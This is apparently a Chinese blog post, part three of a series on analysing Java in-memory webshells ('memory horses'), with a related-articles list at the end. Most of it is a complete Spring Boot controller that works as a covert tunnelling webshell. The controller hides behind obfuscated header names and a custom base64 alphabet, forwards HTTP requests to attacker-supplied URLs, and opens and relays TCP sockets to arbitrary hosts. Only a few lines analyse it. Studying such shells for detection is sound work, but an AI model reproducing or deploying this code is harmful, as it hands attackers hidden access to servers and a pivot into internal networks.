从零开始的内存马分析——如何骑马反杀(三)2

简介: 从零开始的内存马分析——如何骑马反杀(三)

Springboot环境搭建

先附上代码

package com.example.windowsconfig.Controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.charset.StandardCharsets;
import java.util.Collections;
import java.util.Enumeration;
import java.util.List;
@Controller
public class controller {
    private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;
        int b1, b2, b3;
        while (i < len) {
            b1 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[(b1 & 0x3) << 4]);
                sb.append("==");
                break;
            }
            b2 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[((b1 & 0x03) << 4)
                        | ((b2 & 0xf0) >>> 4)]);
                sb.append(en[(b2 & 0x0f) << 2]);
                sb.append("=");
                break;
            }
            b3 = data[i++] & 0xff;
            sb.append(en[b1 >>> 2]);
            sb.append(en[((b1 & 0x03) << 4)
                    | ((b2 & 0xf0) >>> 4)]);
            sb.append(en[((b2 & 0x0f) << 2)
                    | ((b3 & 0xc0) >>> 6)]);
            sb.append(en[b3 & 0x3f]);
        }
        return sb.toString();
    }
    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};
    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;
        int b1, b2, b3, b4;
        while (i < len) {
            do {
                b1 = de[data[i++]];
            } while (i < len && b1 == -1);
            if (b1 == -1) {
                break;
            }
            do {
                b2 = de[data[i++]];
            } while (i < len && b2 == -1);
            if (b2 == -1) {
                break;
            }
            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i < len && b3 == -1);
            if (b3 == -1) {
                break;
            }
            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i < len && b4 == -1);
            if (b4 == -1) {
                break;
            }
            buf.write((int) (((b3 & 0x03) << 6) | b4));
        }
        return buf.toByteArray();
    }
    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
            out += block.substring(0, 1).toUpperCase() + block.substring(1);
            out += "-";
        }
        return out.substring(0, out.length() - 1);
    }
    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))
                        return true;
            }
        }
        return false;
    }
    @RequestMapping("/windowsConfig")
    public void windows(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ServletOutputStream out = response.getOutputStream();
        ServletContext application = request.getSession().getServletContext();
        String rUrl = request.getHeader("Mueytrthxaatjpsb");
        if (rUrl != null) {
            rUrl = new String(b64de(rUrl));
            if (!islocal(rUrl)){
                response.reset();
                String method = request.getMethod();
                URL u = new URL(rUrl);
                HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                conn.setRequestMethod(method);
                conn.setDoOutput(true);
                // conn.setConnectTimeout(200);
                // conn.setReadTimeout(200);
                Enumeration enu = request.getHeaderNames();
                List<String> keys = Collections.list(enu);
                Collections.reverse(keys);
                for (String key : keys){
                    if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
                        String value=request.getHeader(key);
                        conn.setRequestProperty(headerkey(key), value);
                    }
                }
                int i;
                byte[] buffer = new byte[1024];
                if (request.getContentLength() != -1){
                    OutputStream output;
                    try{
                        output = conn.getOutputStream();
                    }catch(Exception e){
                        response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");
                        return;
                    }
                    ServletInputStream inputStream = request.getInputStream();
                    while ((i = inputStream.read(buffer)) != -1) {
                        output.write(buffer, 0, i);
                    }
                    output.flush();
                    output.close();
                }
                for (String key : conn.getHeaderFields().keySet()) {
                    if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){
                        String value = conn.getHeaderField(key);
                        response.setHeader(key, value);
                    }
                }
                InputStream hin;
                if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                    hin = conn.getInputStream();
                } else {
                    hin = conn.getErrorStream();
                    if (hin == null){
                        response.setStatus(200);
                        return;
                    }
                }
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                while ((i = hin.read(buffer)) != -1) {
                    byte[] data = new byte[i];
                    System.arraycopy(buffer, 0, data, 0, i);
                    baos.write(data);
                }
                String responseBody = new String(baos.toByteArray());
                response.addHeader("Content-Length", Integer.toString(responseBody.length()));
                response.setStatus(conn.getResponseCode());
                out.write(responseBody.getBytes(StandardCharsets.UTF_8));
                out.flush();
                if ( true ) return; // exit
            }
        }
        response.resetBuffer();
        response.setStatus(200);
        String cmd = request.getHeader("Ffydhndmhhl");
        if (cmd != null) {
            String mark = cmd.substring(0,22);
            cmd = cmd.substring(22);
            response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            if (cmd.compareTo("b5v9XJbF") == 0) {
                try {
                    String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
                    String target = target_ary[0];
                    int port = Integer.parseInt(target_ary[1]);
                    SocketChannel socketChannel = SocketChannel.open();
                    socketChannel.connect(new InetSocketAddress(target, port));
                    socketChannel.configureBlocking(false);
                    application.setAttribute(mark, socketChannel);
                    response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
                } catch (Exception e) {
                    response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                    response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                }
            } else if (cmd.compareTo("0FX") == 0) {
                SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
                try{
                    socketChannel.socket().close();
                } catch (Exception e) {
                }
                application.removeAttribute(mark);
            } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
                SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
                try{
                    ByteBuffer buf = ByteBuffer.allocate(513);
                    int bytesRead = socketChannel.read(buf);
                    int maxRead = 524288;
                    int readLen = 0;
                    while (bytesRead > 0){
                        byte[] data = new byte[bytesRead];
                        System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                        out.write(b64en(data).getBytes(StandardCharsets.UTF_8));
                        out.flush();
                        ((java.nio.Buffer)buf).clear();
                        readLen += bytesRead;
                        if (bytesRead < 513 || readLen >= maxRead)
                            break;
                        bytesRead = socketChannel.read(buf);
                    }
                    response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
                } catch (Exception e) {
                    response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                }
            } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
                SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
                try {
                    String inputData = "";
                    InputStream in = request.getInputStream();
                    while ( true ){
                        byte[] buff = new byte[in.available()];
                        if (in.read(buff) == -1)
                            break;
                        inputData += new String(buff);
                    }
                    byte[] base64 = b64de(inputData);
                    ByteBuffer buf = ByteBuffer.allocate(base64.length);
                    buf.put(base64);
                    buf.flip();
                    while(buf.hasRemaining())
                        socketChannel.write(buf);
                    response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
                } catch (Exception e) {
                    response.setHeader("Die", "QmPrA86mT15");
                    response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                    socketChannel.socket().close();
                }
            }
        } else {
            out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->".getBytes(StandardCharsets.UTF_8));
        }
    }
}

主要增添的是两部分

ServletOutputStream out = response.getOutputStream();
ServletContext application = request.getSession().getServletContext();

一个是输出流,一个是application

同时针对所有的out流都进行getByte转换

当然,这个也是比较神奇的

为什么不会触发这个回显呢?

根据代码,我们可以分析到,因为有content-length 才会触发

正常测试没有问题

我们打开科来,尝试分析一下数据包

相关文章
|
2天前
|
缓存 Java
Java中循环创建String对象的内存管理分析
Java中循环创建String对象的内存管理分析
29 2
|
2天前
|
存储 Arthas 监控
JVM工作原理与实战(三十):堆内存状况的对比分析
JVM作为Java程序的运行环境,其负责解释和执行字节码,管理内存,确保安全,支持多线程和提供性能监控工具,以及确保程序的跨平台运行。本文主要介绍了堆内存状况的对比分析、产生内存溢出的原因等内容。
15 0
|
2天前
|
缓存 Linux
linux性能分析之内存分析(free,vmstat,top,ps,pmap等工具使用介绍)
这些工具可以帮助你监视系统的内存使用情况、识别内存泄漏、找到高内存消耗的进程等。根据具体的问题和需求,你可以选择使用其中一个或多个工具来进行内存性能分析。注意,内存分析通常需要综合考虑多个指标和工具的输出,以便更好地理解系统的行为并采取相应的优化措施。
32 6
|
2天前
|
机器学习/深度学习 分布式计算 数据处理
Spark是一个基于内存的通用数据处理引擎,可以进行大规模数据处理和分析
【5月更文挑战第2天】Spark是一个基于内存的通用数据处理引擎,可以进行大规模数据处理和分析
25 3
|
2天前
|
监控 算法 测试技术
【Go语言专栏】Go语言的性能优化与内存分析
【4月更文挑战第30天】本文探讨了Go语言的性能优化策略和内存分析方法。性能优化原则包括基准测试、分析瓶颈、避免过早优化和持续监控。优化策略涉及减少内存分配、避免内存逃逸、利用并发、优化算法和数据结构以及减少系统调用。内存分析借助于Go的`pprof`工具、内存分配跟踪和第三方工具,以发现内存泄漏和管理问题。通过这些方法,开发者能提升Go程序效率和资源利用率。
|
2天前
|
缓存 Java Android开发
安卓开发中的内存泄漏分析与优化策略
【4月更文挑战第27天】 在移动应用开发领域,性能优化始终是提升用户体验的关键因素之一。特别是对于安卓平台,由于设备的硬件配置差异较大,良好的内存管理对于保证应用流畅运行尤为重要。本文将深入探讨安卓开发中常见的内存泄漏问题,并提供一系列检测和解决内存泄漏的实用策略。通过对工具的使用、代码实践以及系统架构设计的多维度分析,旨在帮助开发者有效避免和处理内存泄漏,确保应用性能稳定。
|
2天前
|
Java
【Java基础】面向对象和内存分析
【Java基础】面向对象和内存分析
21 0
|
2天前
|
存储 Java Shell
Android系统 实现低内存白名单防LMK原理分析
Android系统 实现低内存白名单防LMK原理分析
41 0
|
2天前
|
存储 程序员 编译器
c++面向对象概述、内存分析、引用、函数
c++面向对象概述、内存分析、引用、函数
|
2天前
|
SQL 运维 NoSQL
【Redis 故障排查】「连接失败问题排查和解决」带你总体分析CPU及内存的使用率高问题排查指南及方案
【Redis 故障排查】「连接失败问题排查和解决」带你总体分析CPU及内存的使用率高问题排查指南及方案
42 0